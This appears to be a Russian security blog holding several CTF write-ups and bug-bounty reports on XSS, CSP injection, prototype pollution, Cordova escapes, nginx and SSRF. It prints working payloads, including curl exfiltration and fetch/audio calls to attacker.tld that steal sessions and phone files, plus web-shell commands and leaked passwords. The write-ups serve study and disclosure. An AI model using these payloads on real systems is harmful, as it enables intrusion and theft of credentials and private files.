03 декабря 2019

CTFZone 2019 Quals - Shop Task


Приложение позволяет создавать заявки в техподдержку, которые обрабатываются ботом.
Вложения сохраняются на отдельном поддомене:

web-shop.ctfz.one
uploads.web-shop.ctfz.one

img

CSP Injection

В заголовке Content-Security-Policy используется значение cookie scope, с помощью которой можно добавить дополнительный report-uri и разрешающие правила script-src для проведения XSS.

Content-Security-Policy: 
    default-src 'self'; 
    style-src 'self'; 
    img-src 'self' http://uploads.web-shop.ctfz.one; 
    report-uri /csp?scope=$$cookie_scope$$;

В переменной фильтровались некоторые символы, но тем не менее использование protocol-relative uri и числовое представление IP адреса сработало.

Пример:

Cookie: scope=%20//758608540/%20%3B%20script-src%20'unsafe-inline'%20'self'%20'unsafe-eval'%3B;

В итоге Content-Security-Policy выглядело следующим образом

Content-Security-Policy: 
    default-src 'self'; 
    style-src 'self'; 
    img-src 'self' http://uploads.web-shop.ctfz.one; 
    report-uri /csp?scope= //758608540/; 
    script-src 'unsafe-inline' 'self' 'unsafe-eval';

Добавленный report-uri я использовал для получения информации от бота через отчеты о нарушении CSP. Например, если запретить self в script-src получится следующее:

img

Установка Cookie

Теперь для эксплуатации XSS необходимо найти возможность устанавливать произвольные cookie значения, чтобы отключить CSP.
Оказалось, что вложения в заявках позволяли использовать SVG изображения, таким образом можно было получить SVG XSS в контексте сайта uploads.web-shop.ctfz.one. А используя XSS на поддомене uploads можно создать cookie указав domain=.web-shop.ctfz.one.

Пример SVG:

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <script type="text/javascript">
    document.cookie="scope=%20//758608540/%20%3B%20script-src%20'unsafe-inline'%20'self'%20'unsafe-eval'%3B;domain=.web-shop.ctfz.one;path=/;";
  </script>
</svg>

Для того, чтобы XSS сработала - SVG нужно открыть на отдельной странице.

http://uploads.web-shop.ctfz.one/10f02271-2aaf-47e7-82c8-60941bb11fa0/093c690b-ba19-4705-b299-38c8286fc8d6.svg

После этого запрос к web-shop.ctfz.one будет содержать 2 разных cookie scope, но веб приложение использует последнюю с CSP Injection.

img

В случае, если бы приложение использовало только первую cookie, можно было бы добавить атрибут path=/ticket/ и перенести добавленный scope в начало заголовка Cookie, так как согласно RFC 6265

   2.  The user agent SHOULD sort the cookie-list in the following
       order:

       *  Cookies with longer paths are listed before cookies with
          shorter paths.

       *  Among cookies that have equal-length path fields, cookies with
          earlier creation-times are listed before cookies with later
          creation-times.

Бот обрабатывал и открывал все ссылки, указанные в комментариях к заявке. Таким образом, отправив сообщение с ссылкой на SVG можно было установить боту необходимую cookie.

XSS

На последнем шаге необходимо было найти саму XSS, что оказалось самым сложным для меня. Комментарии поддерживали markdown, но самые очевидные javascript ссылки не работали.

[xxx<xxx](http://xxx)

<a href="http://xxx">xxx<xxx</a>

Используя markdown ссылки можно было протащить в HTML один символ <, в результате чего создавался некорректный тег “<xxx<”, что после обработки браузером выглядело вот так:

img

Так как на странице был не голый HTML, а также использовались jquery-3.2.1.slim.min.js, popper.min.js и bootstrap.min.js - можно попробовать найти script gadget с помощью которого сделать XSS. Финальный вариант основан на CVE-2018-14041 https://github.com/twbs/bootstrap/issues/26627 и работает без пользовательских действий, хотя на вид выглядит не особо корректно. В живую посмотреть можно тут https://jsbin.com/cewuvubalu/1/edit?html,output.

[x<x<x data-spy=scroll data-target=<img/src/onerror=eval(location.hash.slice(1))&gt; zz](http://)

<a href="http://">x<x&lt;x data-spy=scroll data-target=&lt;img/src/onerror=eval(location.hash.slice(1))&gt; zz</a>

В итоге решение было таким:

  • Создать тикет с XSS
  • Создать тикет с SVG и вставить перенаправление на тикет с XSS
<svg ...>
  <script type="text/javascript">
    document.cookie="scope=%20//758608540/%20%3B%20script-src%20'unsafe-inline'%20'self'%20'unsafe-eval'%3B;domain=.web-shop.ctfz.one;path=/;";
    location="http://web-shop.ctfz.one/ticket/541c92e3-d1c5-47f0-9668-9d4c3f6c7dc1#jQuery('#inputText').val('pwn');jQuery('.btn').click();";
  </script>
</svg>
  • Отправить боту ссылку на SVG
[svg](http://uploads.web-shop.ctfz.one/10f02271-2aaf-47e7-82c8-60941bb11fa0/093c690b-ba19-4705-b299-38c8286fc8d6.svg)
  • Получить флаг в ответном сообщении, которое бот отправит через XSS

img

20 сентября 2019

VolgaCTF 2019 SmartHome Writeup

В этом году я подготовил для финала VolgaCTF дополнительный конкурс, посвященный взлому типичной инфраструктуры с которой работают умные дома. У конкурса не было конкретных указаний что именно нужно взломать, а был лишь указан scope:

Выглядело это примерно так:

Flag 0

Первым делом необходимо было собрать информацию о поддоменах пробрутив dns, либо посмотрев на список выпущенных сертификатов.

https://crt.sh/?q=%.volgactf-iot.pw

ftp.volgactf-iot.pw  
storage.volgactf-iot.pw  
mqtt.volgactf-iot.pw  
api.volgactf-iot.pw  

FTP сервер содержал исходный код gateway на node.js и Flag 0.

Flag 1

После авторизации на API сервере мобильное приложение создает учетную запись для подключения к MQTT, чтобы взаимодействовать напрямую с gateway.

MQTT сервер позволял пользователям подписываться на сообщения системных топиков $SYS, в который MQTT брокер публикует информацию о клиентах, в числе которых был пользователь с флагом.

mqtt = require('mqtt');
var client  = mqtt.connect({host: 'mqtt.volgactf-iot.pw',
        protocol: 'mqtts',
        port: 8883,
        path: '/',
        clientId: 'clientid_user_526b14197252d44448df004c90652d52', 
        username: 'user', 
        password: '912a5b',
    });
client.on('connect', function () {
    client.subscribe('$SYS/#', function (err) {})
})
client.on('message', function (topic, message) {
  console.log(topic, message.toString())
})

На этом этапе можно было также заметить, что хэш в конце clientid - это md5 от 6-ти символьного пароля пользователя. И, дождавшись подключения администратора к MQTT, можно было получить учетную запись для доступа к gateway администратора, сбрутив пароль.

Flag 2

Gateway представлял собой Raspberry Pi Zero W с камерой, USB dongle CC2531 и датчик движения от Xiaomi. Изначально предполагалось повесить его в зале докладов и делать фотографии по датчику движения, но из-за технических проблем это не получилось сделать.

В исходном коде gateway было указано 2 флага. Для доступа к первому достаточно было послать на gateway команду get_flag и получить ответ в соответствующем топике.

client.subscribe('gateway/gateway02/clientid_user_526b14197252d44448df004c90652d52', function (err) {})
client.publish('mobile/user/clientid_user_526b14197252d44448df004c90652d52', '{"cmd":"get_flag"}');

Flag 3

Второй флаг gateway был указан лишь в конфигурационном файле и не использовался в коде. Для доступа к нему необходимо было проэксплуатировать атаку Prototype Pollution. Подробнее о ней можно почитать тут
https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf.

function photo(client_id, command) {
    ...
    camera.snap()
        .then((result) => {
            ...
                    result = JSON.parse(body);
                    if(result.result) {
                        merge(result, command);
                        mqttPublish(client_id, command);

JSON объект с командой photo, отправленной пользователем, попадал в функцию merge.

function merge(obj1, obj2) {
    for (var attr in obj2) { 
        if(attr === '__proto__') continue;
        if(typeof obj2[attr] == 'object') 
            merge(obj1[attr], obj2[attr]); 
        obj1[attr] = obj2[attr]; 
    }
}

Но для перезаписи неинициализированных полей объекта нельзя было использовать __proto__, который обычно указан в PoC Prototype Pollution Attack. Участники должны были найти, что атака возможна также через constructor.prototype. Таким образом - следующая команда добавляла к любому объекту поле test со значением test2.

{"cmd":"photo","device_id":2,"constructor":{"prototype":{"test":"test2"}}}

В качестве подсказки из конфигурационного файла использовалась неинициализированная переменная filename, которая попадала в модуль pi-camera при создании фотографии. Данный модуль является оберткой для node.js над консольными утилитами получения изображений с Raspberry Pi Camera.

    image = this.config.camera.filename ? this.config.camera.filename : '/home/pi/gateway/images/output.jpg';
    camera = new piCamera({
        mode: 'photo',
        output: image,
    });

    camera.snap()

Причем в нем нет какой-либо обработки параметров и они попадают в child_process.exec в результате простой конкатенации.

const { exec } = require('child_process');
...
static run(fullCmd) {
...
exec(fullCmd, (error, stdout, stderr) => {
...
}
...
static cmd(base, params) {
...
return base + ' ' + params.join(' ');

Таким образом, получить RCE на gateway можно было послав в MQTT следующую команду:

{"cmd":"photo","device_id":2,"constructor":{"prototype":{"filename":" || curl -d \'@./config.json\' http://attacker.tld/ || "}}}

При следующем вызове камеры команда будет исполнена, а gateway, получив ошибку, перезагрузится.

Flag 4 & 5

Данные флаги хранились на gateway администратора, то есть для их получения нужно повторить эксплоиты Flag 2 и Flag 3, отправив их на другой gateway. Но для этого необходимо получить доступ к учетной записи MQTT от администратора. Это можно было сделать через MQTT топик $SYS, как описано в Flag 1, либо проэксплуатировать мобильное приложение на телефоне администратора и получить сессию для API сервера, о чем будет сказано в Flag 9.

Flag 6

Фотографии сделанные gateway отправлялись на API сервер, который сохранял их в Amazon S3. Мобильное приложение для доступа к файлами запрашивало подписанную ссылку через API сервер. Выглядело это следующим образом:

Скрипт /cloud/sign не проверял принадлежность файла клиенту и подписывал любое указанное значение, но для получения флага необходимо было знать имя файла. Получить листинг файлов в S3 можно было обойдя проверку на API сервере и подписать ссылку на корень:

/cloud/sign?file=/..

Другим вариантом было получение листинга через авторизованного пользователя S3. Но для начала необходимо было получить имя bucket, так как всё взаимодействие с Amazon S3 было сделано через CloudFront. Сделать это можно было вызвав ссылку с некорректной подписью:

Либо взять его из мобильного приложения, где bucket указан в Content Security Policy.

<meta http-equiv="Content-Security-Policy" content="
default-src 'self' data: gap: https://ssl.gstatic.com 'unsafe-eval'; 
style-src 'self' 'unsafe-inline'; 
media-src *; 
img-src 'self' data: content: https://volgactf-iot-storage.s3.eu-west-2.amazonaws.com https://storage.volgactf-iot.pw; 
connect-src https://api.volgactf-iot.pw/ wss://mqtt.volgactf-iot.pw:8083 ">

После чего, получить листинг через консольные утилиты s3 от авторизованного пользователя.

aws s3 ls s3://volgactf-iot-storage
2019-09-02 17:52:12         51 flag_G42ZScXARPIEIJ4HIEEY.txt

И уже зная имя файла, подписать ссылку на доступ к нему в S3.

Небезопасная настройка с доступом к S3 от любого авторизованного пользователя была довольно распространена ранее, так как ее включали через пользовательский интерфейс, недостаточно понимая, что именно она значит. Теперь Amazon значительно затруднил это, и в пользовательском интерфейсе она появляется только после того, как данное правило было вручную прописано в ACL.

Подробнее о данных уязвимостях:
https://labs.detectify.com/2017/07/13/a-deep-dive-into-aws-s3-access-controls-taking-full-control-over-your-assets/
https://labs.detectify.com/2018/08/02/bypassing-exploiting-bucket-upload-policies-signed-urls/

Flag 7

Flag 7 представлял собой распечатанный листок, на который была направлена камера gateway администратора. Получить данный флаг можно было как просто отправив команду photo в MQTT от администратора, так и через RCE в результате эксплуатации Prototype Pollution.

Flag 8

Для доступа к остальным флагам необходимо было атаковать мобильное приложение на телефоне администратора. Чтобы участники могли делать это удаленно, был написан Telegram Bot, который передавал ссылку от участников через Firebase Cloud Message на атакующее мобильное приложение, которое, в свою очередь, просто открывало ссылку в стандартном браузере на Android. В целом все выглядело так, как будто пользователь просто проходит по ссылке из telegram сообщения.

String url = remoteMessage.getData().get("url");
Intent intent = new Intent("android.intent.action.VIEW");
intent.addCategory("android.intent.category.BROWSABLE");
intent.setData(Uri.parse(url));
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
this.getApplicationContext().startActivity(intent);

Само приложение VolgaCTF SmartHome было основано на Apache Cordova, то есть, по сути представляло собой WebView с дополнительной функциональностью, реализованной в плагинах.
Взаимодействовать с приложением SmartHome можно было через зарегистрированное BROWSABLE Activity.

<intent-filter android:label="@string/launcher_name">
  <action android:name="android.intent.action.VIEW" />
  <category android:name="android.intent.category.DEFAULT" />
  <category android:name="android.intent.category.BROWSABLE" />
  <data android:host="smarthome" android:scheme="volgactf" />
</intent-filter>

Открыть приложение через Telegram бота можно отправив ссылку с перенаправлением на URL volgactf://smarthome/

https://attacker.tld/redirect?url=volgactf://smarthome/

В приложении это использовалось для открытия внешних ссылок через специальный плагин InAppBrowser, который специально разработан для отображения страниц в изолированном WebView без доступа к Cordova плагинам.

function urlScheme(uri) {
        if(uri != '' && uri != null) {
            intentUri = new URL(uri);
            url = intentUri.searchParams.get('url');
            if((url != null) && (url.startsWith(MAIN_HOST))) {
                cordova.InAppBrowser.open(url + '#' + FLAG, '_blank', 'location=yes');
            }
        }
    }

Единственное условие, которое ограничивает - ссылка должна начинаться с подстроки https://volgactf-iot.pw.
Обойти это можно было:

  • Настроив HTTPS на поддомене вида https://volgactf-iot.pw.attacker.tld
  • Или отбросив начало хоста с помощью @ https://volgactf-iot.pw@attacker.tld

Пример получения Flag 8, который добавлялся в location.hash ко всем ссылкам, открываемым в InAppBrowser:

https://attacker.tld/redirect?url=volgactf://smarthome/?url=https://volgactf-iot.pw.attacker.tld/

<script>fetch("https://attacker.tld/sniffer/?zzz="+location.hash.slice(1));</script>

Flag 9

Последние 2 флага никто не успел получить за время соревнования. На данном этапе у участников была возможность выполнять свой JavaScript код в изолированном WebView InAppBrowser, но необходимо было поднять привилегии и выполнить JS код в основном окне Cordova, где хранилась сессия администратора для API сервера и доступ к плагинам чтения файлов на телефоне.

Перед дальнейшей эксплуатацией желательно пересобрать Android приложение добавив debuggable флаг в AndroidManifest.xml. Это бы разрешило удаленную отладку WebView в Cordova через Chrome.
Подробнее об этом:
https://developers.google.com/web/tools/chrome-devtools/remote-debugging/webviews

Погуглив можно было найти CVE-2014-0073.
https://d3adend.org/blog/posts/cordova-inappbrowser-remote-privilege-escalation/

В данной уязвимости описывается возможность выполнить JS код через некорректную обработку коллбэков, с помощью которых InAppBrowser общается с основным WebView. Оказалось, что данная уязвимость была исправлена только в iOS и плагин для Android был уязвим вплоть до 2019 года, пока я не отправил информацию в Apache, обнаружив уязвимость на рабочем проекте.

https://github.com/apache/cordova-plugin-inappbrowser/commit/686108484e6a7c1a316d7c6bc869c209c46d27e3

Пример вызова callback:

iOS
<iframe src="gap-iab://InAppBrowser85943/['some','data','in','a','JSON','array']"></iframe>

Android
<script>
prompt("gap-iab://InAppBrowser85943/['some','data','in','a','JSON','array']");
</script>

Пример выполнения JS в основном окне Cordova из inAppBrowser:

<script>
prompt("","gap-iab://InAppBrowser\');alert(12345);//")
</script>

И последнее, что отделяет от получения сессии администратора - Content Security Policy, прописанный в index.html.

CSP не запрещает выполнять JS, но мешает отправить данные обратно к атакующему. Это легко обходится через media-src: *

<script>
prompt("","gap-iab://InAppBrowser\');document.write(\\"<audio src=https://attacker.tld/\\"+window.localStorage.getItem(\'iot_session\')+\\">\\")//")
</script>

Flag 9 возвращается при запросе https://api.volgactf-iot.pw/user с админской сессией.

Flag 10

В последнем задании необходимо было получить фотографию из истории сообщений Telegram администратора.
У приложения SmartHome был доступ на чтение файлов с SDCARD, а используемый плагин для HTTP запросов cordova-plugin-advanced-http имел в зависимостях плагин для работы с файлами.

<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />

В результате для листинга директорий и чтения файлов получились следующие вектора.

Листинг директории /sdcard/Telegram/Telegram Images/

<script>
prompt("","gap-iab://InAppBrowser');window.resolveLocalFileSystemURL(\"file:///sdcard/Telegram/Telegram%20Images/\",function(dirEntry){dirEntry.createReader().readEntries(function(entries){result=\"\";for(i=0;i<entries.length;i++){result+=entries[i].name+\";\";}document.write(\"<audio src=https://attacker.tld/\"+btoa(result)+\">\")});});//")
</script>

Чтение файлов

<script>
prompt("","gap-iab://InAppBrowser');window.resolveLocalFileSystemURL(\"file:///sdcard/Telegram/Telegram%20Images/\",function(dirEntry){dirEntry.createReader().readEntries(function(entries){for(i=0;i<entries.length;i++){document.write(\"<audio src=https://attacker.tld/filename:\"+btoa(entries[i].name)+\">\");entries[i].file(function(file){reader=new FileReader();reader.onloadend=function(){document.write(\"<audio src=https://attacker.tld/\"+this.result+\">\");};reader.readAsDataURL(file);});}});});//")
</script>

03 января 2018

[pda-test.yandex.ru] Arbitrary File Reading


Для автоматизации простых проверок на сайтах bug bounty я использую два php скрипта. Первый собирает поддомены с разных источников (например, crt.sh, virustotal, shodan) для программ, где scope указан в виде *.blah.com. Второй скрипт уже непосредственно ищет уязвимости по всему списку хостов, которые можно проверить за 1 запрос. Именно они и находят все эти пачки CRLF Injection и Open Redirect из моего профиля на hackerone. Причем, чем больше уязвимостей раскрываешь на h1, тем реже они потом находятся скриптами :)

Придумывая новые идеи для второго скрипта, я решил проверить раскрытие исходного кода для JS приложений. Иногда из-за неправильной настройки приложения раздача статических файлов может быть из той же папки, где находится и серверный JS код.

/app.js
/server.js

Данная проверка выстрелила на одном из поддоменов Yandex.

https://pda-test.yandex.ru/app.js

Данный файл был серверным JS кодом, но не содержал никакой интересной информации и больше был похож на шаблон. Поэтому я дополнительно перебрал js файлы по словарю. В случае, если имя файла содержало нижнее подчеркивание и заканчивалось на “.js”, сервер выдавал stacktrace.

За счет того, что nginx не нормализует path traversal с использованием обратного слэша, а NodeJS корректно его обрабатывает, удалось получить чтение js кода из произвольной папки. Подробнее про это можно прочитать тут - Arbitrary File Reading in Next.js. Единственным условием было наличие в пути нижнего подчеркивания, причем вариант “fake_path/../realfile” не работал. К счастью, в stacktrace был путь до папки node_modules, которую я и использовал.

Протестировав варианты отбрасывания постфикса “.js” внезапно отработал %3F, что в результате дало чтение произвольных файлов.

Более того, прав хватало даже на чтение /etc/shadow.

PS: Пользователь с логином zlietapki особенно порадовал.

02 января 2018

[poly.google.com] XSS


Почти год назад отправлял заявку в Vulnerability Research Grant от Google и в ноябре меня наконец-то пригласили поучаствовать. Так как приглашение совпало с отпуском - решил найти что-нибудь не совсем стандартное, но интересное.

Суть этой программы в следующем - при хорошем качестве кода можно потратить довольно много времени и не найти уязвимости, что может отталкивать багхантеров. Для этого были введены гранты, которые выплачиваются участникам независимо от результата (при этом все найденные уязвимости оцениваются в стандартном порядке и не зависят от гранта). Скоуп в данной программе содержал в себе 20 позиций - новые мобильные и веб-приложения, изменения в существующих сервисах и даже десктопные приложения. Отдельно можно выделить “Choose your own adventure!”, когда багхантер может выбрать любой продукт от Google для анализа в рамках этого гранта.

Я решил сконцентрироваться на новом веб-приложении для работы с 3D моделями poly.google.com. Пользователь может загружать файлы в формате Wavefront .obj, которые выглядят следующим образом:

v 0.0 0.0 0.0
v 4.0 0.0 0.0
v 4.0 4.0 0.0
v 0.0 4.0 0.0
v 2.0 6.0 0.0
f 1 2 3 4
f 3 4 5

На сервере они конвертируются в бинарный файл .bin:

И в HTTP ответе использовались следующие заголовки:

Content-Type: application/octet-stream
Content-Disposition: inline; filename="xss.bin"

При указании данных заголовков Internet Explorer и, судя по всему, Edge попытаются определить mime type файла по его содержимому. Подробнее о том, как это работает - MIME Type Detection in Windows Internet Explorer. То есть, если сформировать такой файл obj, который после конвертации в bin будет содержать в себе html, то получится сделать хранимую XSS для IE.

Например, задать необходимый payload можно используя координаты вершин. Для этого находим функцию, преобразующую HEX строку в 32-bit IEEE 754 число с плавающей точкой и конвертируем XSS вектор.

<?php
function hexTo32Float($strHex) {
    $v = hexdec($strHex);
    $x = ($v & ((1 << 23) - 1)) + (1 << 23) * ($v >> 31 | 1);
    $exp = ($v >> 23 & 0xFF) - 127;
    return $x * pow(2, $exp - 23);
}

print(hexTo32Float(bin2hex(strrev("<scr")))).PHP_EOL; // 4.5051140506042E+30
print(hexTo32Float(bin2hex(strrev("ipt>")))).PHP_EOL; // 0.23871006071568

Получается следующий .obj файл, который необходимо загрузить на сайт.

#xss.obj
v 4.7275221264773E+27 1.4914213187279E+31 2.8899316938437E+29
v 1.8474870460757E+20 7.681841551373E+31 4.4159888520194E+21
v 1.7751098170076E+28 7.0618740621481E+28 1.8056946957706E+28
v 1.7109925976033E-10 1.8314355250257E+25 1.6132151934861E-19
v 5.8774717541114E-39 0 0
f 1 1 1 1
f 2 2 2 2
f 3 3 3 3
f 4 4 4 4
f 5 5 5 5

И результат его обработки:
https://poly.google.com/downloads/eGXuYT8DqPr/378IoBkknJY/xss.bin

25 октября 2017

Zeronights 2017 HackQuest Day #1 Writeup


Краткое прохождение первого дня Zeronights 2017 HackQuest.

http://zeroevening.org/

Сайт с заданием представляет собой почти пустую страницу. Из интересного - только html комментарий.

<!-- updated page via bitbucket 23.10.2017 -->

http://bitbucket.zeroevening.org/

Находим поддомен с bitbucket v4.7.1, который уязвим к частичному обходу авторизации (https://bo0om.ru/just-enter-the-space-attacks).

http://bitbucket.zeroevening.org/admin%20/server-settings

Из настроек узнаем о поддомене git-admintools.zeroevening.org, на котором расположен скрипт, позволяющий сделать git clone --recursive по произвольному URL. Файлы сохраняются в веб директорию /repos/%repo_name%/.

http://git-admintools.zeroevening.org/

В данном задании предполагалось использование CVE-2017-1000117, но я пошел более простым путем и скопировал проект с кучей готовых пейлоадов PayloadsAllTheThings. Оказалось, что расширения pht и phtml не были заблокированы и я сразу получил готовый шелл.

http://git-admintools.zeroevening.org/repos/PayloadsAllTheThings/Upload%20insecure%20files/PHP%20Extension/phpinfo.pht

http://git-admintools.zeroevening.org/repos/PayloadsAllTheThings/Upload%20insecure%20files/PHP%20Extension/phpinfo.phtml

Читаем config.php и идем на следующий поддомен.

http://git-admintools.zeroevening.org/repos/PayloadsAllTheThings/Upload%20insecure%20files/PHP%20Extension/Shell.phtml?cmd=cat+/var/www/html/config.php

http://dev-cyberplatform-ico.zeroevening.org/?url=ops.jpg

На данном сайте через параметр url можно сделать SSRF и чтение произвольных файлов, результат попадает на страницу в виде base64 картинки. Я потратил довольно много времени на поиски исходного кода или конфигов, пока не наткнулся на /etc/hosts.

http://dev-cyberplatform-ico.zeroevening.org/?url=/etc/hosts

172.18.0.3  83c994f72770

Пробуем соседние IP и находим скрипт с SQL Injection.

http://dev-cyberplatform-ico.zeroevening.org/?url=http://172.18.0.2/user.php?username=root%27=0%2bunion%2bselect%2b1,load_file%28%27/var/www/html/install.php%27%29,3,4–%2b-

Читаем install.php и находим пароли для jenkins.

mysql_query("INSERT INTO users (login,pass,status) VALUES ('root', MD5('toor'), 'admin');");
mysql_query("DROP TABLE jenkins_users");
mysql_query("CREATE TABLE jenkins_users ( username TEXT, password TEXT );");
mysql_query("INSERT INTO jenkins_users (username,password) VALUES ('bomberman', 'HVQ8UijXwU)');");
mysql_query("INSERT INTO jenkins_users (username,password) VALUES ('cyberpunkych', 'DC8800_553535_proshe_pozvonitb_chem_y_kogo_to_zanimatb');");
mysql_query("INSERT INTO jenkins_users (username,password) VALUES ('bo0om', 'Hipe4Money')");
mysql_query("INSERT INTO jenkins_users (username,password) VALUES ('jbfc', 'InBieberWeTrust')");

Находим поддомен jenkins, авторизуемся под bomberman и получаем RCE.

http://jenkins.zeroevening.org/computer/(master)/script

Находим флаг, сдаем и… ничего не происходит, потому что в флаге, который лежал на сервере была опечатка. Я подумал, что это какой-то троллинг и задание нужно ковырять еще глубже, но, ничего не найдя, пошел спать. В итоге все-таки оказался первым и получил инвайт.

30 сентября 2017

[dev.twitter.com] XSS


Разгребал логи скриптов для bugbounty и нашел интересное перенаправление на сайте dev.twitter.com.
Изначально оно выглядело так https://dev.twitter.com//xxx/

enter image description here

В таблице представлены этапы раскрутки уязвимости.

Request Location header Link on page Comment
//xxx/ http://dev.twitter.com/xxx xxx Entry point
/http:site.com/ http://dev.twitter.com/site.com http:site.com
/https:site.com/ https:site.com https:site.com http://dev.twitter.com - base URL.
https: - protocol change, so the Location URLis absolute.
/javascript:alert(1)/ javascript:alert(1) javascript:alert(1) XSS in the body.
But redirect to javascript: will be blocked by the browser.
/https:/%5cblackfan.ru/ https:/\blackfan.ru https:/\blackfan.ru Open Redirect
/aa://bb/cc/ /aa://dev.twitter.com/cc cc Interesting.
Let’s try to merge Open Redirect and XSS.
/aa://bb/javascript:111/ /aa://dev.twitter.com/javascript:111 javascript:111 Very close
/aa://bb/javascript:alert(1)/ javascript:alert(1) javascript:alert(1) WTF, Location header!
/aa://bb/javascript:222/ /aa://dev.twitter.com/javascript:222 javascript:222
/aa://bb/javascript:xxx/ javascript:xxx javascript:xxx It looks like I can only use numbers (host:port ?)
/aa://bb/!javascript:xxx/ /aa://dev.twitter.com/!javascript:xxx !javascript:xxx But if I put an invalid scheme, everything is fine.
shazzer: Characters before javascript uri
/aa://bb/%01javascript:xxx/ /aa://dev.twitter.com/█javascript:xxx █javascript:xxx Nice
//aa:1//bb/%01javascript:xxx/ aa:1//bb/█javascript:xxx aa:1//bb/█javascript:xxx Oh,come on
//aa:1/:///%01javascript:xxx/ //aa:1/://dev.twitter.com/█xxx █javascript:xxx And finally

Итак, сформировав в Location заголовке ссылку с некорректным портом мне удалось заблокировать перенаправление в браузере FireFox (я уже использовал этот трюк в другой XSS на Facebook). А за счет разницы обработки Request-URI в теле ответа была сформирована JavaScript ссылка.
Финальный PoC:

https://dev.twitter.com//x:1/:///%01javascript:alert(document.cookie)/

Открываем и нажимаем ссылку. На сайте также не использовался заголовок X-Frame-Options, что можно было использовать для эксплуатации этой XSS через Clickjacking.

enter image description here

Результат: https://hackerone.com/reports/260744

21 сентября 2017

Activity/VolgaCTF 2017 Writeup


Для участников VolgaCTF мной были подготовлены 4 задания на категорию web. В основном это были интересные идеи с рабочих проектов и bugbounty программ на client-side уязвимости.

Task 1.1
https://task1.finals.2017.volgactf.ru/
https://task1.finals.2017.volgactf.ru/source.zip
Nginx + PHP, задание с исходным кодом. Основная часть:

foreach ($_SERVER as $name => $value) { 
  if (substr($name, 0, 5) == 'HTTP_') { 
    header(str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5))))).': '.$value, false);
  } 
}

foreach($_GET as $name => $value) {
  if(is_string($value)) {
    header($name.': '.$value, false);
  }
}

Все GET параметры и заголовки запроса попадают в заголовки HTTP ответа (включая cookie с флагом). Так как cookie с флагом httpOnly - то даже если получится сделать XSS, то она ничего не даст, так что необходимо смотреть в сторону CORS. Для решения необходимо было узнать о заголовке Access-Control-Expose-Headers и сформировать payload для кражи cookie у бота.

<script>
    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'https://task1.finals.2017.volgactf.ru/index.php?Access-Control-Allow-Origin=null&Access-Control-Expose-Headers=Cookie&Access-Control-Allow-Credentials=true', false);
    xhr.withCredentials = true;
    xhr.send();
    if (xhr.status == 200) {
        location = 'http://logger/?'+xhr.getResponseHeader('Cookie');
    }
</script>

Task 1.2
Вторая часть задания была на server-side уязвимость в nginx.
Флаг был в php файле на отдельном vhost. Однако, для него был следующий конфиг, который не позволял его получить.

server {
    ...
    server_name task1.finals.2017.volgactf.ru;
    root /var/www/html;
    ...
    location ~ \.php$ {
        include snippets/fastcgi-php.conf;
        fastcgi_pass unix:/run/php/php7.0-fpm.sock;
    }
    ...
}
server {
    ...
    server_name volgactf_dev;
    root /var/www/html_old;
    ...
    location ~ \.php$ {
        deny all;
    }
}

Помимо обычных заголовков, которые непосредственно попадают в HTTP ответ, есть еще и специальные, влияющие на обработку ответа. В случае с PHP это заголовок Location, меняющий код ответа на 302 и заголовок HTTP/ для указания кода и статуса ответа (http://php.net/manual/ru/function.header.php).

https://task1.finals.2017.volgactf.ru/?Location=http://google.com
https://task1.finals.2017.volgactf.ru/?HTTP/=666%20Ne%20OK

В nginx также есть специальные заголовки Status и X-Accel (https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/).

https://task1.finals.2017.volgactf.ru/?Status=666+Ne+OK
https://task1.finals.2017.volgactf.ru/?X-Accel-Redirect=/index.php

Наиболее интересным является X-Accel-Redirect, который обычно используется для перенаправления запроса на внутренние location (https://nginx.ru/ru/docs/http/ngx_http_core_module.html#internal). В реализации этого перенаправления есть небольшой косяк, который я обнаружил, когда тестировал Task 1.1.

root /var/www/html;
GET $URI HTTP/1.1
GET /index.php HTTP/1.1

Результат: $root$URI == /var/www/html/index.php

root /var/www/html;
X-Accel-Redirect: $URI
X-Accel-Redirect: foo/bar

Результат: $root$URI == /var/www/htmlfoo/bar

Так как X-Accel-Redirect в отличие от Request-URI не обязательно должен начинаться с символа /, то в результате конкатенации может произойти частичный выход за пределы текущего document root с префиксом. Так как в задании было:

root /var/www/html;
root /var/www/html_old;

Обратиться к flag.php через дефолтный vhost не составляет труда:

https://task1.finals.2017.volgactf.ru/?X-Accel-Redirect=_old/flag.php

Task 2
https://task2.finals.2017.volgactf.ru/
https://task2.finals.2017.volgactf.ru/static/source.zip
Nginx + Django, задание с исходным кодом.

В задании было настроено кэширование ответа /account/ в котором для администратора отображался флаг.

    location /account/ {
        uwsgi_cache_key $request_uri$cookie_sessionid;

        uwsgi_cache cache;
        uwsgi_cache_valid 200 1m;
        uwsgi_cache_use_stale error  timeout invalid_header http_500;
        uwsgi_ignore_headers Vary;
        add_header X-Cache-Status $upstream_cache_status;

        include         uwsgi_params;
        uwsgi_pass      unix:/run/uwsgi/task2.sock;
    }

Ключом кэша является строка $request_uri$cookie_sessionid, где sessionid - это идентификатор сессии пользователя в Django.

В конфиге nginx также нужно было заметить уязвимое перенаправление с http на https (http://blog.volema.com/nginx-insecurities.html).

    if ($scheme != "https") {
        return 301 https://$host$uri;
    }

Вместо request_uri использовалась переменная uri, значение которой проходит URL декодирование и нормализацию пути. В случае, если такая переменная попадает в заголовки HTTP ответа - это позволяет провести CRLF Injection, причем в данном случае мы уже не можем использовать заголовки X-Accel или Status.
Протестировав кэширование ответа можно было заметить, что при запросе

GET /account/ HTTP/1.1
Host: task2.finals.2017.volgactf.ru
Cookie: sessionid=xxx; sessionid=lxum1hevzndcduszsbwbxcyekru9fpnj

Nginx в переменной $cookie_sessionid использует первую cookie, а Django вторую. То есть данный ответ будет закэширован с ключом /account/xxx.
Объединив CRLF Injection и разницу обработки cookie получаем следующий payload.

http://task2.finals.2017.volgactf.ru/%0aSet-Cookie:sessionid=xxx;path=/account/;

В результате:
1. В перенаправлении с http на https будет создана cookie sessionid=xxx
